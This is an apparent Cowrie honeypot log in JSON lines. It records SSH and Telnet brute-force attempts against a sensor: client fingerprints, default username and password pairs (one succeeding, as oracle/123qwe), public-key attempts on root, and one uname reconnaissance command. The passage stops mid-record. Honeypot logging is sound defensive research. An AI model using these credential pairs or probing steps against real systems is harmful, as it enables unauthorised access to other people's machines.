{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:49.488891Z","src_ip":"160.187.174.22","session":"bbfaf52fcf29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:49.695758Z","src_ip":"160.187.174.22","session":"bbfaf52fcf29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123qwe","message":"login attempt [oracle/123qwe] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:50.915087Z","src_ip":"160.187.174.22","session":"bbfaf52fcf29","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:51.425689Z","src_ip":"160.187.174.22","session":"bbfaf52fcf29","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:51.429360Z","src_ip":"160.187.174.22","session":"bbfaf52fcf29","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:51.701102Z","src_ip":"160.187.174.22","session":"bbfaf52fcf29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:14:51.705315Z","src_ip":"160.187.174.22","session":"bbfaf52fcf29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":55756,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce0dd7339a82","protocol":"ssh","message":"New connection: 87.251.79.125:55756 (159.203.135.109:22) [session: ce0dd7339a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:12.437548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:12.441419Z","src_ip":"87.251.79.125","session":"ce0dd7339a82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:12.509232Z","src_ip":"87.251.79.125","session":"ce0dd7339a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty12345123","message":"login attempt [root/qwerty12345123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:12.724697Z","src_ip":"87.251.79.125","session":"ce0dd7339a82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46556,"dst_ip":"159.203.135.109","dst_port":23,"session":"13fb1cd3a950","protocol":"telnet","message":"New connection: 170.64.224.25:46556 (159.203.135.109:23) [session: 13fb1cd3a950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:13.093788Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:13.798060Z","src_ip":"87.251.79.125","session":"ce0dd7339a82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52892,"dst_ip":"159.203.135.109","dst_port":22,"session":"04772fc6ac26","protocol":"ssh","message":"New connection: 160.187.174.22:52892 (159.203.135.109:22) [session: 04772fc6ac26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:18.948653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:18.951228Z","src_ip":"160.187.174.22","session":"04772fc6ac26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:19.187725Z","src_ip":"160.187.174.22","session":"04772fc6ac26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rabbitmq","password":"rabbitmq","message":"login attempt [rabbitmq/rabbitmq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:19.932523Z","src_ip":"160.187.174.22","session":"04772fc6ac26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:21.217484Z","src_ip":"160.187.174.22","session":"04772fc6ac26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.21781015396118,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:22.643219Z","src_ip":"170.64.224.25","session":"86a3d5a18eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.9.81","src_port":42366,"dst_ip":"10.17.0.5","dst_port":22,"session":"dffbf88cb1d1","protocol":"ssh","message":"New connection: 104.194.9.81:42366 (10.17.0.5:22) [session: dffbf88cb1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.781345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.785650Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.791894Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:41:23:6e:7d:76:de:d6:e4:cb:a9:80:e7:57:d0:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1LiVIZN8zMkasPlR/1ToenRG4oa9HLkC2g3tJzYYsw33Sx7AE+Vn/JoNompC/PBYroxaa9B8TggxNvh5ASb2dery43ZVYOYe5SUnIEhjr8R2LN2QU7KMWRYhRp8FNesW6DejOYHLhSbwGtPwBWNDHphekA2x7gNlIFqmyws+M5HtujTvmDMUtoLPfpF+xFrjnrAx5QnqHUxJfMzN+GdRQBgTlLwcoCoeZFXcP52FoJIkja+UXb8ZKFrWRCzdU6A57xnJ9xkQLPlyfb+kHL14xZU8DnulvWYQAUctntE0chhB+wAPJcwBTUWGF8jjiVxlGPo6yCgalUnW0JvKXyQ2Sw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:41:23:6e:7d:76:de:d6:e4:cb:a9:80:e7:57:d0:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.810129Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:41:23:6e:7d:76:de:d6:e4:cb:a9:80:e7:57:d0:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1LiVIZN8zMkasPlR/1ToenRG4oa9HLkC2g3tJzYYsw33Sx7AE+Vn/JoNompC/PBYroxaa9B8TggxNvh5ASb2dery43ZVYOYe5SUnIEhjr8R2LN2QU7KMWRYhRp8FNesW6DejOYHLhSbwGtPwBWNDHphekA2x7gNlIFqmyws+M5HtujTvmDMUtoLPfpF+xFrjnrAx5QnqHUxJfMzN+GdRQBgTlLwcoCoeZFXcP52FoJIkja+UXb8ZKFrWRCzdU6A57xnJ9xkQLPlyfb+kHL14xZU8DnulvWYQAUctntE0chhB+wAPJcwBTUWGF8jjiVxlGPo6yCgalUnW0JvKXyQ2Sw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.813378Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:b3:d1:ec:14:62:11:40:c0:70:74:f3:6c:10:fc:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQWzoX6bevN9kMRh7TXLnUbi3Ebiz/W3Ju59oDTLrvMd8f8b2ebvzG0UbpbwxVN+J84foYnllzYDWYiD1eO4D+QULkybedd/3P2oeC78B11u8GqJbkccC1afP9T5mrS9RD6UWt/VQCUZWHO123OjMI4Yp/rL3CMIQHJUYblzbrJbMcPFdptEDLI/cVWYv0jx0VPvOWYq5C13lINIxjRwAbM8ETVfM0lRfaGN1nAfZKjNH4Fc8f6D8a12zBPXWwPcNUm7QwiI4oIVpMK4cPGUgFm9ZiLqz58T9hcwQLMj4LNO1o1QLjo1Oqq2QOKZtC077ibnon6F6VzOGkTS8+P1LX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:b3:d1:ec:14:62:11:40:c0:70:74:f3:6c:10:fc:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.820395Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:b3:d1:ec:14:62:11:40:c0:70:74:f3:6c:10:fc:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQWzoX6bevN9kMRh7TXLnUbi3Ebiz/W3Ju59oDTLrvMd8f8b2ebvzG0UbpbwxVN+J84foYnllzYDWYiD1eO4D+QULkybedd/3P2oeC78B11u8GqJbkccC1afP9T5mrS9RD6UWt/VQCUZWHO123OjMI4Yp/rL3CMIQHJUYblzbrJbMcPFdptEDLI/cVWYv0jx0VPvOWYq5C13lINIxjRwAbM8ETVfM0lRfaGN1nAfZKjNH4Fc8f6D8a12zBPXWwPcNUm7QwiI4oIVpMK4cPGUgFm9ZiLqz58T9hcwQLMj4LNO1o1QLjo1Oqq2QOKZtC077ibnon6F6VzOGkTS8+P1LX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.823153Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:83:1a:83:6b:3d:32:3e:1a:3d:94:0e:72:84:96:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpUZUshZw5dL7IO+K4f+JY/o3fjHrIe2OvceQoSKnGgKhp/2vhYqBilD4/KY/YmRzKgcUhYB/3MvQD+pBBL/zpgqQIOACpK8DnTP1OHhK2G1H76HNZRMpbg1XbQlrZVN1lMUwZLWSw3qZ+Fh/chYvkHnUiX2tTecJ0r4Nkre+U+SUFAjbUzW4FNetAoWk7ZsX097ninMIODrIpSd/kmZnq45NGbt065PRB9SEluCV4BQHyWYFe/G8Vknb1oZb4J8ni1+X6Yu9s/dFJ3Q3OKEIcKB2kRx638OWEMp003VLsyHXMqqMdsnWa77lu0tld0CXCkmwhtTRdsDOJzEvGBe2t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:83:1a:83:6b:3d:32:3e:1a:3d:94:0e:72:84:96:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.829820Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:83:1a:83:6b:3d:32:3e:1a:3d:94:0e:72:84:96:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpUZUshZw5dL7IO+K4f+JY/o3fjHrIe2OvceQoSKnGgKhp/2vhYqBilD4/KY/YmRzKgcUhYB/3MvQD+pBBL/zpgqQIOACpK8DnTP1OHhK2G1H76HNZRMpbg1XbQlrZVN1lMUwZLWSw3qZ+Fh/chYvkHnUiX2tTecJ0r4Nkre+U+SUFAjbUzW4FNetAoWk7ZsX097ninMIODrIpSd/kmZnq45NGbt065PRB9SEluCV4BQHyWYFe/G8Vknb1oZb4J8ni1+X6Yu9s/dFJ3Q3OKEIcKB2kRx638OWEMp003VLsyHXMqqMdsnWa77lu0tld0CXCkmwhtTRdsDOJzEvGBe2t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.832633Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:8b:ab:f6:b2:9e:fc:0c:a8:0d:b9:1f:b0:ad:bf:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjW4YyfbIZ4Dp+IM5eYpy1zulrjNzw1OSOhT3sN99++iMZZOP2qRVUqI07mtMKg9OLZ83hLx6qWqXB14wj3UoKaPxZ4zdJcrKE38AGSAGmGxvX+PdHcosmskxgmUBggzc1zednggLYObpEC4NOZ688/Yop+YaBmmsDi66kTT7aAjF31Qa+ItdS0WPiHVUWpOyHNHEjFIrivyt4r/ZZ9QzDcV7JLpFHbuRxNV6LRodRkJVqgMiwYeNt2uj3rhEqxr0wAZT5jCH7spvGbx8P3f2nOyN/mxBB9YLLmXH7FHEp2zbJ2jPvsdnsPrqUqHaASz3OrlHkQxfMHC9CcjV0quJZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:8b:ab:f6:b2:9e:fc:0c:a8:0d:b9:1f:b0:ad:bf:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.838130Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:8b:ab:f6:b2:9e:fc:0c:a8:0d:b9:1f:b0:ad:bf:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjW4YyfbIZ4Dp+IM5eYpy1zulrjNzw1OSOhT3sN99++iMZZOP2qRVUqI07mtMKg9OLZ83hLx6qWqXB14wj3UoKaPxZ4zdJcrKE38AGSAGmGxvX+PdHcosmskxgmUBggzc1zednggLYObpEC4NOZ688/Yop+YaBmmsDi66kTT7aAjF31Qa+ItdS0WPiHVUWpOyHNHEjFIrivyt4r/ZZ9QzDcV7JLpFHbuRxNV6LRodRkJVqgMiwYeNt2uj3rhEqxr0wAZT5jCH7spvGbx8P3f2nOyN/mxBB9YLLmXH7FHEp2zbJ2jPvsdnsPrqUqHaASz3OrlHkQxfMHC9CcjV0quJZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.842047Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:18:4f:e0:8c:96:26:e3:5b:19:92:b9:ec:8a:6d:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDj+ZtkfMOcZx73VqzORo9vUg1Sp0ejqgjR+HrIc42djWa7tEOGhNTU15gfiMK6coZGu01ishVVAES4rsx2w6NwGYdt+5zY0qcorDDXT3uBBmqVsou1mBtPkAeKfsNohFTkFncpO+09UXz9Y5PVv6PPqJK2USoVZTzyeGmPuSdomt0ZAkWnLo0JyeXn7IbEiByLPKFQnguMTpafqbLVqWgiQp7L5gCdjP9z/H8wAsgN7EKcCMx56PlWbJTvVLtADLz6qlBdgrfiAGkDuyhadaq4F5EV4hA2Aek+bnoHSUNtURf3U2qMhMO+y+/pxjXnI7/wlVATymp/UXVR13okS9r/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:18:4f:e0:8c:96:26:e3:5b:19:92:b9:ec:8a:6d:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.849116Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:18:4f:e0:8c:96:26:e3:5b:19:92:b9:ec:8a:6d:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDj+ZtkfMOcZx73VqzORo9vUg1Sp0ejqgjR+HrIc42djWa7tEOGhNTU15gfiMK6coZGu01ishVVAES4rsx2w6NwGYdt+5zY0qcorDDXT3uBBmqVsou1mBtPkAeKfsNohFTkFncpO+09UXz9Y5PVv6PPqJK2USoVZTzyeGmPuSdomt0ZAkWnLo0JyeXn7IbEiByLPKFQnguMTpafqbLVqWgiQp7L5gCdjP9z/H8wAsgN7EKcCMx56PlWbJTvVLtADLz6qlBdgrfiAGkDuyhadaq4F5EV4hA2Aek+bnoHSUNtURf3U2qMhMO+y+/pxjXnI7/wlVATymp/UXVR13okS9r/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.852603Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:38.861084Z","src_ip":"104.194.9.81","session":"dffbf88cb1d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":42620,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a8e59c5478d","protocol":"ssh","message":"New connection: 189.203.163.10:42620 (10.17.0.5:22) [session: 1a8e59c5478d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:43.348612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:15:43.352509Z","src_ip":"189.203.163.10","session":"1a8e59c5478d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group